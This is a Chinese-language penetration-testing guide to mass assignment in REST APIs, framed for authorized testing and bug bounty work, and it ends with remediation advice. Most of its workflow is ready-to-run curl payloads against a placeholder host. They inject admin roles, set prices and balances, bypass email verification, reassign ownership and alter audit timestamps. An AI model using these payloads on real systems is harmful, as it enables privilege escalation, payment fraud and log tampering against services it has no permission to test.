exploiting-mass-assignment-in-rest-apis

利用 REST API 中的批量赋值漏洞

使用场景

• 测试接受 JSON 输入以创建或更新资源的 REST API 时
• 对使用 ORM 框架（Rails、Django、Laravel、Spring）的应用进行 API 安全评估期间
• 测试用户注册、个人资料更新或账户管理端点时
• 在具有 CRUD API 操作的应用上进行漏洞赏金挖掘期间
• 评估 API 驱动应用中的基于角色的访问控制实现时

前提条件

• 用于构造和拦截 API 请求的 Burp Suite 或 Postman
• 了解常见框架中 ORM 自动绑定行为
• API 文档或通过侦察发现的端点
• 用于测试的多个不同权限级别的用户账户
• 了解常见敏感字段（role、isAdmin、verified、balance、price）
• 用于发现隐藏参数的 Arjun 或 param-miner

法律声明： 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用属于违法行为，可能违反计算机欺诈相关法律。

工作流

第 1 步 — 发现 API 结构和字段

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

第 2 步 — 通过角色字段测试权限提升

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"[email protected]","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"[email protected]","role":"admin","isAdmin":true}'

第 3 步 — 测试财务和业务逻辑字段

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

第 4 步 — 测试验证和状态字段

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

第 5 步 — 测试关系和外部键操作

# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

第 6 步 — 自动化批量赋值测试

# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

核心概念

概念	描述
批量赋值	ORM 将请求参数自动绑定到模型属性而不加限制
自动绑定	框架特性，将 HTTP 参数直接映射到对象属性
允许列表	用于更新操作的服务器端允许字段列表（Rails 中的 strong_parameters）
拒绝列表	禁止字段列表（安全性低于允许列表方法）
隐藏字段	服务器管理的字段（role、balance），不在表单中显示但被 API 接受
DTO（数据传输对象）	使用独立对象处理输入与数据库的模式，以防止批量赋值
参数污染	在合法参数之外发送意外的额外参数

工具与系统

工具	用途
Burp Suite	API 请求拦截和参数注入
Postman	API 测试和基于集合的批量赋值测试
Arjun	用于 API 端点的隐藏参数发现工具
param-miner	用于发现隐藏参数的 Burp 扩展
OWASP ZAP	带参数注入的自动化 API 扫描
swagger-codegen	从 OpenAPI 规范生成 API 客户端以进行测试

常见场景

1. 管理员权限提升 — 在个人资料更新中注入 "role":"admin" 或 "isAdmin":true 以获得管理访问权限
2. 价格操纵 — 在订单创建端点中修改 price 或 discount 字段，以降低价格购买商品
3. 邮箱验证绕过 — 在注册或个人资料更新期间设置 email_verified:true 以绕过验证要求
4. 账户接管 — 将 email 或 phone 字段修改为攻击者控制的值，然后触发密码重置
5. 订阅升级 — 在订阅更新中注入 plan:"enterprise" 以在未付费的情况下获得高级功能

输出格式

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields